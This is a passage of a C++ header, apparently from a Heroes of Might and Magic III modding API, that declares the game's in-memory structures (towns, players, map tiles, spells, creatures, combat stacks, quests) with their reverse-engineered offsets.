MAGE_GUILD = 0, MAGE_GUILD2 = 1, MAGE_GUILD3 = 2, MAGE_GUILD4 = 3, MAGE_GUILD5 = 4, TAVERN = 5, DOCK = 6, CASTLE_FORT = 7, CASTLE_CITADEL = 8, CASTLE_CASTLE = 9, HALL_VILLAGE = 10, HALL_TOWN = 11, HALL_CITY = 12, HALL_CAPITOL = 13, MARKETPLACE = 14, MARKETPLACE_SILO = 15, BLACKSMITH = 16, }; // * same for all towns H3Resources cost[17]; }; struct H3DwellingBuildingCosts { // * each town has its own 2 * 7 levels // * unupgraded first, then upgraded H3Resources cost[2][7]; }; struct H3TownDependencies { enum eBuildingDependency : UINT64 { NO_REQ = 0, BLD_REQ_MAGE1 = 0x01, BLD_REQ_MAGE2 = 0x02, BLD_REQ_MAGE3 = 0x04, BLD_REQ_MAGE4 = 0x08, BLD_REQ_MAGE5 = 0x10, BLD_REQ_TAVERN = 0x20, BLD_REQ_WHARF = 0x40, BLD_REQ_FORT = 0x80, BLD_REQ_CITADEL = 0x100, BLD_REQ_CASTLE = 0x200, BLD_REQ_VILLAGE_HALL = 0x400, BLD_REQ_TOWN_HALL = 0x800, BLD_REQ_CITY_HALL = 0x1000, BLD_REQ_CAPITOL = 0x2000, BLD_REQ_MARKET = 0x4000, BLD_REQ_RESOURCE_SILO = 0x8000, BLD_REQ_BLACKSMITH = 0x10000, BLD_REQ_SPEC17 = 0x20000, BLD_REQ_HORDE1 = 0x40000, BLD_REQ_HORDE1U = 0x80000, BLD_REQ_WHARF2 = 0x100000, BLD_REQ_SPEC21 = 0x200000, BLD_REQ_SPEC22 = 0x400000, BLD_REQ_SPEC23 = 0x800000, BLD_REQ_HORDE2 = 0x1000000, BLD_REQ_HORDE2U = 0x2000000, BLD_REQ_GRAIL = 0x4000000, BLD_REQ_DECOR27 = 0x8000000, BLD_REQ_DECOR28 = 0x10000000, BLD_REQ_DECOR29 = 0x20000000, BLD_REQ_DWELL1 = 0x40000000, BLD_REQ_DWELL2 = 0x80000000, BLD_REQ_DWELL3 = 0x100000000, BLD_REQ_DWELL4 = 0x200000000, BLD_REQ_DWELL5 = 0x400000000, BLD_REQ_DWELL6 = 0x800000000, BLD_REQ_DWELL7 = 0x1000000000, BLD_REQ_DWELL1U = 0x2000000000, BLD_REQ_DWELL2U = 0x4000000000, BLD_REQ_DWELL3U = 0x8000000000, BLD_REQ_DWELL4U = 0x10000000000, BLD_REQ_DWELL5U = 0x20000000000, BLD_REQ_DWELL6U = 0x40000000000, BLD_REQ_DWELL7U = 0x80000000000, }; protected: UINT64 m_dependency[9][44]; public: _H3API_ VOID Set(H3Town::eTown town, H3Town::eBuildings building, eBuildingDependency depend); _H3API_ VOID Add(H3Town::eTown town, H3Town::eBuildings building, eBuildingDependency depend); _H3API_ VOID Remove(H3Town::eTown town, H3Town::eBuildings building, eBuildingDependency depend); }; // * data about each of the 8 players on the map struct H3Player // size 0x168 { // * +0 // * 0~7 RED~PINK INT8 ownerID; // * +1 // * if player has at least 1 hero BOOL8 hasHeroes; protected: h3unk _f_02[2]; public: // * +4 // * the id of the active hero // * -1 if none INT32 currentHero; // * +8 // * IDs of the 8 possible heroes on adventure map INT32 heroIDs[8]; // * +28 // * ID of the hero in the left slot of tavern INT32 tavernHeroL; // * +2C // * ID of the hero in the right slot of tavern INT32 tavernHeroR; protected: h3unk _f_30[4]; public: // * +34 // * adventurer, explorer, builder INT32 AI_type; // * +38 // * 0~47 visited obelisks INT8 visitedObelisks; protected: h3unk _f_39[4]; public: // * +3D // * the number of days left to live without a town // * -1 if at least 1 town is owned INT8 daysLeft; // * +3E // * the number of towns owned INT8 townsCount; // * +3F // * ID of the selected town INT8 currentTown; // * +40 // * IDs of the towns owned by player CHAR towns[48]; protected: h3unk _f_70[4]; // * +74 INT32 topHeroIndex; h3unk _f_78[36]; public: // * +9C // * the current resources owned by player H3Resources playerResources; protected: // * +B8 INT32 magical_gardens; // ??? from WoG source https://github.com/GrayFace/wog/blob/master/T1/h3struct.txt#L100 // * +BC INT32 magic_spring; // * +C0 UINT8 unknown4[12]; // * +CC // * name of player, uncertain length CHAR player_name[21]; public: // * +E1 // * 1 human, 0 computer BOOL8 is_human; // * +E2 // * 1 human, 0 computer BOOL8 is_human2; protected: h3unk _f_E3[3]; // * +E6 BOOL8 human; h3unk _f_E7; // * +E8 BOOL hasComboArtifacts; h3unk _f_EC[28]; public: // * +108 // * the amount of resources gained daily H3Resources income; protected: h3unk _f_124[4]; // * +128 // * doubles used by AI DOUBLE resourceImportance[7]; h3unk _f_160[8]; public: // * returns structure of active hero if any _H3API_ H3Hero* GetActiveHero(); }; /* * Modeled after H3M_OA_ENTRY in h3m format * https://github.com/potmdehex/homm3tools/blob/master/h3m/h3mlib/h3m_structures/object_attributes/h3m_oa.h#L20 * see also https://github.com/potmdehex/homm3tools/blob/master/h3m/h3mlib/h3m_structures/object_attributes/h3m_oa_body.h#L13 * and https://github.com/ethernidee/era-editor/blob/master/Patch/Common.pas#L39 from mapeditor format */ struct H3ObjectAttributes { // * +0 // * the name of the DEF H3String defName; // * +10 // * the width of object, read from LoD @ 0x503ED5 UINT8 width; // * +11 // * the height of object, read from LoD @ 0x503EE2 UINT8 height; protected: h3align _f_12[2]; public: // * +14 // * a 8x6 bitfield of the object's presence H3ObjectMask colors; // * +1C // * a 8x6 bitfield of the object's passability H3ObjectMask passability; // * +24 // * a 8x6 bitfield of the object's shadow H3ObjectMask shadows; // * +2C // * a 8x6 bitfield of the object's yellow tiles H3ObjectMask entrances; // * +34 // * a bitfield of vaild terrains for this object H3Bitfield maskTerrain; // * +38 // * the type of object, 0 ~ 232 INT32 type; // * +3C // * the subtype of object, depends on type INT32 subtype; // * +40 // * is the object flat on the adventure map? e.g. cursed ground BOOL8 flat; protected: h3align _f_41; // * referenced a few places, e.g. 0x50663A h3unk _f_42[2]; }; // * from WoG source struct H3MagicAnimation { LPCSTR defName; LPCSTR name; INT32 type; }; // * the counterpart to H3ObjectAttributes struct H3ObjectDetails { // * +0 // * reference to H3ObjectAttributes UINT32 setup; // * +4 // * x position on map UINT8 x; // * +5 // * y position on map UINT8 y; // * +6 // * z position on map UINT8 z; protected: h3align _f_7; public: // * +8 // * reference to object's DEF for drawing purposes UINT16 num; protected: h3align _f_A[2]; }; // * data of objects to be drawn at a given map tile struct H3ObjectDraw { // * +0 // index of H3ObjectAttributes UINT16 sprite; // * +2 // * reference to which square of the DEF (bottom right = 0, then left to right, down to top. Row 1: 0x10 and so on) UINT8 tileID; // * +3 // * 0~6 drawing layer, 6 being top and 0 bottom UINT8 layer; _H3API_ H3ObjectDraw(UINT16 sprite, UINT8 tile_id, UINT8 layer); }; // * university is an array of 4 sskills struct H3University { int sSkill[4]; _H3API_ PINT begin(); _H3API_ PINT end(); }; // * data on a given tile on the adventure map struct H3MapItem { // * +0 // * see Map... structures UINT32 setup; // * +4 // *dirt, grass, snow ... INT8 land; // * +5 // * the id of land DEF sprite INT8 landSprite; // * +6 // * none, clear, icy, ... INT8 river; // * +7 // * +the id of river DEF sprite INT8 riverSprite; // * +8 // * none, dirt, gravel, ... INT8 road; // * +the id of road DEF sprite INT8 roadSprite; protected: h3unk _f_0A[2]; public: // * +C // * mirror effect of DEF // * tileH 0x01 - tileV 0x02 // * riverH 0x04 - riverH 0x08 // * roadH 0x10 - roadV 0x20 // * can dig 0x40 // * animated 0x80 (river, water or lava terrain) UINT8 mirror; // * +D // * 0x01 cannot access // * 0x02 water edge see 0x4FEA32 // * 0x10 entrance (yellow) tile UINT8 access; // * +E // * a vector of DEFs to draw on this tile H3Vector<H3ObjectDraw> objectDrawing; // * +1E // * the object type on this tile INT16 objectType; protected: h3unk _f_20[2]; public: // * +22 // * the subtype of object on this tile INT16 objectSubtype; // * +24 // * ??? UINT16 drawNum; // * Get university on this tile _H3API_ H3University* GetUniversity(); // * get real entrance (if any) of object on this tile _H3API_ H3MapItem* GetEntrance(); _H3API_ BOOL IsEntrance() const; _H3API_ BOOL IsBlocked() const; _H3API_ BOOL CanDig() const; // * casts setup to relevant map item data _H3API_ MapMonster* CastMonster(); _H3API_ MapScholar* CastScholar(); _H3API_ MapScroll* CastScroll(); _H3API_ MapEvent* CastEvent(); _H3API_ MapTreasureChest* CastTreasureChest(); _H3API_ MapWarriorsTomb* CastWarriorsTomb(); _H3API_ MapTreeOfKnowledge* CastTreeKnowledge(); _H3API_ MapCampfire* CastCampfire(); _H3API_ MapLeanTo* CastLeanTo(); _H3API_ MapWitchHut* CastWitchHut(); _H3API_ MapLearningStone* CastLearningStone(); _H3API_ MapWagon* CastWagon(); _H3API_ MapCorpse* CastCorpse(); _H3API_ MapMagicSpring* CastMagicSpring(); _H3API_ MapWaterMill* CastWatermill(); _H3API_ MapCreatureBank* CastCreatureBank(); _H3API_ MapPyramid* CastPyramid(); _H3API_ MapSwanPond* CastSwanPond(); _H3API_ MapMonolith* CastMonolith(); _H3API_ MapMysticGarden* CastMysticGarden(); _H3API_ MapWindmill* CastWindmill(); _H3API_ MapMine* CastMine(); _H3API_ MapShipyard* CastShipyard(); _H3API_ MapMagicShrine* CastMagicShrine(); _H3API_ MapUniversity* CastUniversity(); _H3API_ MapResource* CastResource(); _H3API_ MapSeaChest* CastSeaChest(); _H3API_ MapArtifact* CastArtifact(); _H3API_ MapGenerator* CastGenerator(); }; // * information about artifacts // * enum for body artifact position // * enum for artifact type ~ level struct H3ArtifactSetup { // * +0 LPCSTR name; // * +4 INT32 cost; // * +8 INT32 position; // * +C INT32 type; // * +10 LPCSTR description; // * +14 INT32 comboID; // * +18 INT32 partOfCombo; // -1 indicates it's not part of a combination // * +1C BOOL8 disabled; // * +1D INT8 newSpell; h3unk _f_1E[2]; enum ArtifactPosition { ArtPos_HEAD = 0, ArtPos_SHOULDERS = 1, ArtPos_NECK = 2, ArtPos_RIGHT_HAND = 3, ArtPos_LEFT_HAND = 4, ArtPos_TORSO = 5, ArtPos_RIGHT_RING = 6, ArtPos_LEFT_RING = 7, ArtPos_FEET = 8, ArtPos_MISC_1 = 9, ArtPos_MISC_2 = 10, ArtPos_MISC_3 = 11, ArtPos_MISC_4 = 12, ArtPos_WAR_MACHINE_1 = 13, ArtPos_WAR_MACHINE_2 = 14, ArtPos_WAR_MACHINE_3 = 15, // first aid tent ArtPos_WAR_MACHINE_4 = 16, ArtPos_CATAPULT = 17, ArtPos_SPELL_BOOK = 18, ArtPos_MISC_5 = 19, }; enum ArtifactType { ART_SPECIAL = 1, ART_TREASURE = 2, ART_MINOR = 4, ART_MAJOR = 8, ART_RELIC = 16, ART_ALL = 30 // never special! }; }; // * how combo artifacts are stored in memory struct H3ComboArtifactSetup { INT32 index; // this might be larger if you have more than default artifacts H3Bitfield artifacts[5]; }; // * data for creature banks struct H3CreatureBank { // * +0 // * creatures guarding this bank H3Army guardians; // * +38 // * resource rewards for defeating this bank H3Resources resources; // * +54 // * the type of creature rewarded for defeating this bank INT32 creatureRewardType; // * +58 // * the number of creatures rewarded for defeating this bank INT8 creatureRewardCount; protected: h3unk _f_59[3]; public: // * +5C // *a list of artifact IDs gained for defeating this bank H3Vector<INT32> artifacts; _H3API_ BOOL HasUpgradedStack(); _H3API_ VOID SetupBank(int type, int level); _H3API_ VOID UpgradeStack(BOOL upg); }; // * CRBanks.txt converted in memory, single bank state struct H3CreatureBankState { // * +0 // * creatures guarding this bank H3Army guardians; // * +38 // * resource rewards for defeating this bank H3Resources resources; // * +54 // * the type of creature rewarded for defeating this bank INT32 creatureRewardType; // * +58 // * the number of creatures rewarded for defeating this bank INT8 creatureRewardCount; // * +59 // * the odds (out of 100) for this size to be spawned INT8 chance; // * +5A // * the odds (out of 100) to have an upgraded stack INT8 upgrade; // * +5B // * the amount of treasure, minor, major, relic artifacts INT8 artifactTypeCounts[4]; protected: h3align _f_5F; }; // * CRBanks.txt converted in memory, overall bank state struct H3CreatureBankSetup { H3String name; H3CreatureBankState states[4]; enum eCrBank { CYCLOPS_STOCPILE = 0, DWARVEN_TREASURY = 1, GRIFFIN_CONSERVATORY = 2, IMP_CACHE = 3, MEDUA_STORES = 4, NAGA_BANK = 5, DRAGON_FLY_HIVE = 6, SHIPWRECK = 7, DERELICT_SHIP = 8, CRYPT = 9, DRAGON_UTOPIA = 10, }; }; // * town wall elements struct H3ValidCatapultTargets { INT32 fort_element_id; h3unk f_04[8]; enum FORT_ELEMENTS { FE_DRAWBRIDGE = 0, FE_DRAWBRIDGE_ROPE = 1, FE_MOAT = 2, FE_MOAT_LIP = 3, FE_BACK_WALL = 4, FE_UPPER_TOWER = 5, // valid catapult target ~0 FE_UPPER_WALL = 6, // valid catapult target ~1 FE_UPPER_BUTTRESS = 7, FE_MID_UPPER_WALL = 8, // valid catapult target ~2 FE_GATE = 9, // valid catapult target ~3 FE_MID_LOWER_WALL = 10, // valid catapult target ~4 FE_LOWER_BUTTRESS = 11, FE_LOWER_WALL = 12, // valid catapult target ~5 FE_LOWER_TOWER = 13, // valid catapult target ~6 FE_KEEP = 14, // valid catapult target ~7 FE_KEEP_CVR = 15, FE_LOWER_TWR_CVR = 16, FE_UPPER_TWR_CVR = 17, }; }; // * town wall data struct H3WallSection { // * +0 INT16 x; // * +2 INT16 y; // * +4 INT32 hex_id; // * +8 LPCSTR names[5]; INT32 name; // from walls.txt INT16 hp; // from walls.txt h3unk _f_22[2]; }; // * information about H3 spells struct H3Spell { // * +0 // * -1 enemy // * 0 area // * 1 friendly INT32 type; // * +4 // * the soundname to use LPCSTR soundName; protected: // * +8 UINT32 animationRelated; public: // * +C // * bitfield of spell data struct SpellFlags { // * flag 1 unsigned battlefield_spell : 1; // * flag 2 unsigned map_spell : 1; // * flag 4 unsigned time_scale : 1; // * flag 8 unsigned creature_spell : 1; // * flag 10 unsigned single_target : 1; // * flag 20 unsigned single_shooting_stack : 1; // * flag 40 unsigned expert_mass_version : 1; // * flag 80 unsigned target_anywhere : 1; // * flag 100 unsigned remove_obstacle : 1; // * flag 200 // * All damage spells unsigned damage_spell : 1; // * flag 400 unsigned mind_spell : 1; // * flag 800 unsigned friendly_mass : 1; // * flag 1000 unsigned cannot_target_siege : 1; // * flag 2000 unsigned spell_from_artifact : 1; // * flag 4000 // * Air/Fire Shield, Protections From, Anti-Magic, Magic Mirror, Stone Skin, Counterstrike unsigned defensive : 1; // * flag 8000 // * All damage spells except INFERNO and CHAING LIGHTNING unsigned AI_damage_spells : 1; // * flag 10000 // * Inferno and Chaing Lightning unsigned AI_area_effect : 1; // * flag 20000 // * Death Ripple, Destroy Undead and Armageddon unsigned AI_mass_damage_spells : 1; // * flag 40000 // * Shield, Air Shield, ... Berserk, Teleport, Clone // * NO SUMMON SPELLS unsigned AI_non_damage_spells : 1; // * flag 80000 // * Resurrection, Animate Dead // * Hypnotize // * 4 Summon Spells unsigned AI_creatures : 1; // * flag 100000 // * Summon Boat, Fly, WW, DD, TP // * Earthquake, Titan's Lightning Bolt (not sure why these are here???) unsigned AI_adventure_map : 1; // * flag 200000+ // * there are no spells with these flags unsigned _unused : 11; }flags; // * +10 // * full name LPCSTR name; // * +14 // * short name LPCSTR shortName; // * +18 // * 0~5 INT32 level; enum eSchool : INT32 { AIR = 1, FIRE = 2, WATER = 4, EARTH = 8 }; // * +1C eSchool school; // * +20 // * mana cost at each spell expertise INT32 mana_cost[4]; // * +30 // * value multiplied by spell power INT32 sp_effect; // * +34 // * base value of spell for calculations INT32 base_value[4]; // * +44 // * change for each class? INT32 chance_to_get[9]; // * +68 UINT32 ai_value[4]; // * 78 // * description of spell based on secondary skill level LPCSTR description[4]; enum eSpells { SUMMON_BOAT = 0, SCUTTLE_BOAT = 1, VISIONS = 2, VIEW_EARTH = 3, DISGUISE = 4, VIEW_AIR = 5, FLY = 6, WATER_WALK = 7, DIMENSION_DOOR = 8, TOWN_PORTAL = 9, QUICK_SAND = 10, LAND_MINE = 11, FORCE_FIELD = 12, FIRE_WALL = 13, EARTHQUAKE = 14, MAGIC_ARROW = 15, ICE_BOLT = 16, LIGHTNING_BOLT = 17, IMPLOSION = 18, CHAIN_LIGHTNING = 19, FROST_RING = 20, FIREBALL = 21, INFERNO = 22, METEOR_SHOWER = 23, DEATH_RIPPLE = 24, DESTROY_UNDEAD = 25, ARMAGEDDON = 26, SHIELD = 27, AIR_SHIELD = 28, FIRE_SHIELD = 29, PROTECTION_FROM_AIR = 30, PROTECTION_FROM_FIRE = 31, PROTECTION_FROM_WATER = 32, PROTECTION_FROM_EARTH = 33, ANTI_MAGIC = 34, DISPEL = 35, MAGIC_MIRROR = 36, CURE = 37, RESURRECTION = 38, ANIMATE_DEAD = 39, SACRIFICE = 40, BLESS = 41, CURSE = 42, BLOODLUST = 43, PRECISION = 44, WEAKNESS = 45, STONE_SKIN = 46, DISRUPTING_RAY = 47, PRAYER = 48, MIRTH = 49, SORROW = 50, FORTUNE = 51, MISFORTUNE = 52, HASTE = 53, SLOW = 54, SLAYER = 55, FRENZY = 56, TITANS_LIGHTNING_BOLT = 57, COUNTERSTRIKE = 58, BERSERK = 59, HYPNOTIZE = 60, FORGETFULNESS = 61, BLIND = 62, TELEPORT = 63, REMOVE_OBSTACLE = 64, CLONE = 65, FIRE_ELEMENTAL = 66, EARTH_ELEMENTAL = 67, WATER_ELEMENTAL = 68, AIR_ELEMENTAL = 69, /* These abilities are not available to heroes */ STONE = 70, POISON = 71, BIND = 72, DISEASE = 73, PARALYZE = 74, AGING = 75, DEATH_CLOUD = 76, THUNDERBOLT = 77, DRAGONFLY_DISPEL = 78, DEATH_STARE = 79, ACID_BREATH = 80, }; _H3API_ INT32 GetBaseEffect(INT32 level, INT32 spellPower); }; // * information about combat obstacles struct H3ObstacleInfo // size 20 { // * +0 UINT16 LandTypes; // * +2 UINT16 SpecialGroundTypes; // * +4 INT8 HeightInCells; // * +5 INT8 WidthInCells; // * +6 INT8 BlockedCount; // * +7 h3unk _f_7; // * +8 INT8 RelativeCells[8]; // * +10 LPCSTR defName; }; // * information about obstacle in combat manager struct H3Obstacle // size 24 { // * +0 struct H3LoadedDEF* def; // * +4 H3ObstacleInfo* info; // * +8 UINT8 AnchorHex; protected: h3unk f_09; h3unk f_0A; h3unk f_0B[13]; }; // * bitfield flags for creatures struct H3CreatureFlags { unsigned DOUBLE_WIDE : 1; // 1 unsigned FLYER : 1; // 2 unsigned SHOOTER : 1; // 4 unsigned EXTENDED : 1; // 8 ~ aka dragon breath unsigned ALIVE : 1; // 10 unsigned DESTROYWALLS : 1; // 20 unsigned SIEGEWEAPON : 1; // 40 unsigned KING1 : 1; // 80 ~ all creatures of 7th level and neutral dragons that do not belong to the KING2 or KING3 unsigned KING2 : 1; // 100 unsigned KING3 : 1; // 200 unsigned MINDIMMUNITY : 1; // 400 unsigned NOOBSTACLEPENALTY : 1; // 800 unsigned NOMELEEPENALTY : 1; // 1000 unsigned unk2000 : 1; // 2000 unsigned FIREIMMUNITY : 1; // 4000 unsigned DOUBLEATTACK : 1; // 8000 unsigned NORETALIATION : 1; // 10000 unsigned NOMORALE : 1; // 20000 unsigned UNDEAD : 1; // 40000 unsigned ATTACKALLAROUND : 1; // 80000 unsigned MAGOG : 1; // 100000 unsigned CANNOTMOVE : 1; // 200000 ~21 unsigned SUMMON : 1; // 400000 unsigned CLONE : 1; // 800000 unsigned MORALE : 1; // 1000000 unsigned WAITING : 1; // 2000000 ~25 unsigned DONE : 1; // 4000000 unsigned DEFENDING : 1; // 8000000 unsigned SACRIFICED : 1; // 10000000 unsigned NOCOLORING : 1; // 20000000 unsigned GRAY : 1; // 40000000 unsigned DRAGON : 1; // 80000000 }; // * hardcoded creature information in heroes3.exe struct H3CreatureInformation { // * +0 // -1 means neutral INT32 town; // * +4 // 0 ~ 6 INT32 level; // * +8 LPCSTR soundName; // * +C LPCSTR defName; // * +10 H3CreatureFlags flags; // * +14 LPCSTR nameSingular; // * +18 LPCSTR namePlural; // * +1C LPCSTR description; // * +20 H3Resources cost; // * +3C INT32 fightValue; // * +40 INT32 aiValue; // * +44 INT32 grow; // * +48 INT32 hGrow; // * +4C INT32 hitPoints; // * +50 INT32 speed; // * +54 INT32 attack; // * +58 INT32 defence; // * +5C INT32 damageLow; // * +60 INT32 damageHigh; // * +64 INT32 numberShots; // * +68 INT32 spellCharges; // * +6C INT32 advMapLow; // * +70 INT32 advMapHigh; _H3API_ LPCSTR GetCreatureName(INT32 count); _H3API_ H3Resources UpgradeCost(H3CreatureInformation* upg, INT32 count); }; // * a substructure of H3CombatMonster related to spells struct H3CombatMonsterSpellsData { INT32 bless_damage; // 0x458 INT32 curse_damage; // 0x45C INT32 anti_magic; // 0x460 INT32 bloodlust_effect; // 0x464 INT32 precision_effect; // 0x468 INT32 weakness_effect; // 0x46C INT32 stone_skin_effect; // 0x470 INT32 unknown13; // 0x474 INT32 prayer_effect; // 0x478 INT32 mirth_effect; // 0x47C INT32 sorrow_effect; // 0x480 INT32 fortune_effect; // 0x484 INT32 misfortune_effect; // 0x488 INT32 slayer_type; // 0x48C - called KING_1/2/3 INT32 unknown14; // 0x490 - Max traversed cells before hitting? INT32 counterstrike_effect; // 0x494 FLOAT frenzyMultiplier; // 0x498 INT32 blind_effect; // 0x49C - for calculating damage retaliation damage? FLOAT fire_shield_effect; // 0x4A0 INT32 unknown16; // 0x4A4 FLOAT protection_air_effect; // 0x4A8 - in % as below FLOAT protection_fire_effect; // 0x4AC FLOAT protection_water_effect; // 0x4B0 FLOAT protection_earth_effect; // 0x4B4 INT32 shield_effect; // 0x4B8 INT32 air_shield_effect; // 0x4BC INT8 blinded; // 0x4C0 - to reduce damage? INT8 paralyzed; // 0x4C1 - to reduce damage? h3unk _f_4C2[2]; // 0x4C2-0x4C3 INT32 forgetfulness_level; // 0x4C4 FLOAT slow_effect; // 0x4C8 INT32 haste_effect; // 0x4CC - value added/removed INT32 disease_attack_effect; // 0x4D0 INT32 disease_defense_effect; // 0x4D4 h3unk _f_4D8[8]; // 0x4D8-0x4DC INT32 faerie_dragon_spell; // +4E0 INT32 magic_mirror_effect; // 0x4E4 INT32 morale; // +4E8 INT32 luck; // +4EC h3unk _f_4F0[4]; H3Vector<H3CombatMonster*> dendroidBinder; // +4F4 which dendroids have binded the current target (used for animation requirement) H3Vector<H3CombatMonster*> dendroidBinds; // +504 a list of H3CombatMonsters binded by this dendroid h3unk _f_514[20]; INT32 Hypnotize_528; INT32 Hypnotize_52C; h3unk _f_530[24]; }; // * Cranim.txt struct H3MonsterAnimation { enum eMissiles { M_UPPER_RIGHT, M_RIGHT, M_LOWER_RIGHT }; struct H3MissileOffets { INT16 offset_x; INT16 offset_y; }missiles[3]; INT32 missileFrameAngles[12]; // from high to low (90 to -90) INT32 troopCountLocationOffset; INT32 attackClimaxFrame; INT32 timeBetweenFidgets; INT32 walkAnimationTime; INT32 attackAnimationTime; INT32 flightAnimationTime; }; // * monster information on battlefield struct H3CombatMonster { protected: h3unk _f_000[52]; public: // * +34 INT32 type; // * +38 // * position on battlefield INT32 position; // * +3C INT32 animation; // * +40 INT32 animationFrame; // * +44 // * left or right INT32 secondHexOrientation; protected: h3unk _f_048[4]; public: // * +4C // the number of creatures that are currently alive INT32 numberAlive; // * +50 INT32 previousNumber; protected: h3unk _f_054[4]; public: // * +58 // * the number of lost hitpoints of top creature in stack INT32 healthLost; // * +5C // * ?reference to position on side? INT32 slotIndex; // * +60 // * the number of creatures in this stack to compare against resurrection INT32 numberAtStart; protected: h3unk _f_064[8]; public: // * +6C // * maximum hit points INT32 baseHP; // * +70 INT32 isLucky; public: // * +74 // * a copy of H3CreatureInformation using combat values in some places H3CreatureInformation info; protected: h3unk _f_0E8[4]; public: // * +EC // * set in After-Hit spell subroutine 0x440220 INT32 spellToApply; protected: h3unk _f_0F0[4]; public: // * +F4 // * left or right INT32 side; // * +F8 // * reference to position on side INT32 sideIndex; protected: // * +FC UINT32 last_animation_time; // * +100 INT32 yOffset; // * +104 INT32 xOffset; h3unk _f_108[8]; // * +110 from cranim H3MonsterAnimation cranim; public: // * +164 H3LoadedDEF* def; protected: // * +168 H3LoadedDEF* shootingDef; h3unk _f_16C[4]; // * +170 UINT32 moveSound; // * +174 UINT32 attackSound; // * +178 UINT32 getHitSound; // * +17C UINT32 shotSound; // * +180 UINT32 deathSound; // * +184 UINT32 defendSound; // * +188 UINT32 extraSound1; // * +18C UINT32 extraSound2; h3unk _f_190[4]; public: // * +194 // * the number of spells currently active INT32 activeSpellsNumber; // * +198 // * the remaining number of turns of any spells INT32 activeSpellsDuration[81]; // * +2DC // * the secondary skill level of applied spells INT32 activeSpellsLevel[81]; protected: h3unk _f_420[52]; public: // * +454 // * number of retaliations left INT32 retaliations; // * +458 // * information about some spell effects H3CombatMonsterSpellsData spellsData; // * returns appropriate name of stack _H3API_ LPCSTR GetCreatureName(); // * returns second square if creature occupies 2 squares _H3API_ INT32 GetSecondSquare(); // * returns actual speed of creature _H3API_ INT32 GetStackSpeed(); _H3API_ BOOL IsDone(); _H3API_ BOOL IsClone(); _H3API_ BOOL IsSiege(); _H3API_ BOOL IsSummon(); _H3API_ BOOL HadMorale(); _H3API_ BOOL IsWaiting(); _H3API_ BOOL HasMoved(); // * index 0 ~ 41 _H3API_ INT32 Index(); // * show creature information dialog _H3API_ VOID ShowStatsDialog(BOOL RightClick); // * Checks if hypnotized _H3API_ INT32 GetSide(); // * Checks if hypnotized _H3API_ H3Hero* GetOwner(); // * the bonus/decreased effect on a spell from targeting a creature _H3API_ INT32 GetProtectiveSpellEffect(INT32 damage, INT32 spellID); // * odds of magic resisting _H3API_ INT32 MagicMirrorEffect(); }; struct H3PrimarySkills { INT8 attack; INT8 defense; INT8 spellPower; INT8 knowledge; _H3API_ PINT8 begin(); _H3API_ PINT8 end(); }; struct H3SecondarySkill { INT type; INT level; // 0 ~ 3 }; struct H3SecondarySkillInfo { LPCSTR name; LPCSTR description[3]; }; struct H3PandorasBox { // * +0 H3String message; // * +10 BOOL8 customizedGuards; h3unk _f_11[3]; // * +14 H3Army guardians; // * +4C BOOL8 hasMessageOrGuardians; h3align _f_4d[3]; // * +50 INT32 experience; // * +54 INT32 spellPoints; // * +58 INT8 morale; // * +59 INT8 luck; h3unk _f_5A[2]; // * +5C H3Resources resources; // * +78 H3PrimarySkills pSkill; // * +7C H3Vector<H3SecondarySkill> sSkills; // * +8C H3Vector<INT32> artifacts; // * +9C H3Vector<INT32> spells; // * +10C H3Army creatureReward; }; // * Pandora's box is same as event struct H3Event : public H3PandorasBox { }; // * Unions don't like to have constructors // * so this structure his made only for quests // * based on H3Vector struct H3QuestVector { protected: BOOL _init; INT32* first; INT32* last; INT32* capacity; public: _H3API_ INT32 Count(); _H3API_ INT32 operator[](INT32 index); _H3API_ INT32* begin(); _H3API_ INT32* end(); }; // * quest in memory, used for seer's hut and quest guards struct H3Quest { enum eQuestType { QT_None = 0, QT_ExperienceLevel = 1, QT_PrimarySkill = 2, QT_DefeatHero = 3, QT_DefeatMonster = 4, QT_BringArtifacts = 5, QT_BringCreatures = 6, QT_BringResources = 7, QT_BeHero = 8, QT_BePlayer = 9, }; // * +0 // * 0x641798 + questType * 0x3C // // vt0 Constructor // vt1 AI value // vt2 Condition is met // vt3 Remove from hero // vt4 Show Message1 // vt5 Show Message2 // vt6 Print objective number // vt7 Get custom text // vt8 // vt9 // vt10 // vt11 // vt12 // vt13 // vt14 h3func* vTable; // * +4 // * 0 = quest guard, 1 = seer hut BOOL hasReward; // * +8 H3String messageProposal; // * +18 H3String messageProgress; // * +28 H3String messageCompletion; // * +38 // * texts variant, of no apparent use INT32 stringId; // * +3C INT32 lastDay; // * +40 // * size 20h, varies depending on quest type. union QuestData { INT32 achieveLevel; // achieve level H3PrimarySkills achievePrimarySkill; // have primary skills struct { INT32 __0; INT32 targetHero; INT32 successfulPlayers; } killHero; // kill certain hero struct { INT32 __0; UINT packedCoords; INT32 displayCreatureType; INT32 player; } killMonster; // kill a monster in certain position on the map H3QuestVector getArtifacts; // bring artifacts struct { H3QuestVector number; H3QuestVector type; } getCreatures; // bring creatures INT getResources[7]; // bring resources INT32 beHero; // visit as a certain hero INT32 bePlayer; // visit as a certain player } data; _H3API_ eQuestType GetQuestType() const; _H3API_ H3Resources& GetResources(); }; // * quest guard is a quest plus a byte to show who visited struct H3QuestGuard { H3Quest* quest; BYTE playersVisited; _H3API_ H3Quest::eQuestType QuestType() const; }; // * seer hut is a quest guard plus some information about reward struct H3SeerHut { enum eSeerReward { SR_None = 0, SR_Experience = 1, SR_SpellPoints = 2, SR_Morale = 3, SR_Luck = 4, SR_Resource = 5, SR_PrimarySkill = 6, SR_SecondarySkill = 7, SR_Artifact = 8, SR_Spell = 9, SR_Creature = 10, }; // * +0 H3Quest* quest; // * +4 BYTE playersVisited; // * +5 INT32 rewardType; // * +9 INT32 rewardValue; // * +D INT32 rewardValue2; // * +11 BYTE seerNameId; // * +12 h3unk _f_12; _H3API_ WORD CreatureCount() const; _H3API_ INT8 Luck() const; _H3API_ INT8 Morale() const; _H3API_ INT32 Primary() const; _H3API_ INT8 PrimaryCount() const; _H3API_ H3Quest::eQuestType QuestType() const; }; struct H3QuestText { struct { private: H3String m_unused[5]; public: H3String text[44]; private: H3String m_unused2; public: H3String deserted; H3String deadline; }variants[3]; }; // * if a mapartifact has a custom setup, this is the referenced data struct H3MapArtifact { // * +0 H3String message; // * +10 BOOL8 isGuarded; h3unk _f_11[3]; // * +14 H3Army guardians; }; // * if a mapresource has a custom setup, this is the referenced data struct H3MapResource : public H3MapArtifact { }; // * if a wandering monster has a custom setup, this is the referenced data struct H3Monster { // * +0 H3String message; // * +10 H3Resources resources; // * +2C INT32 artifact; }; // * the format of global events set to occur struct H3GlobalEvent { // * +0 H3String message; // * +10 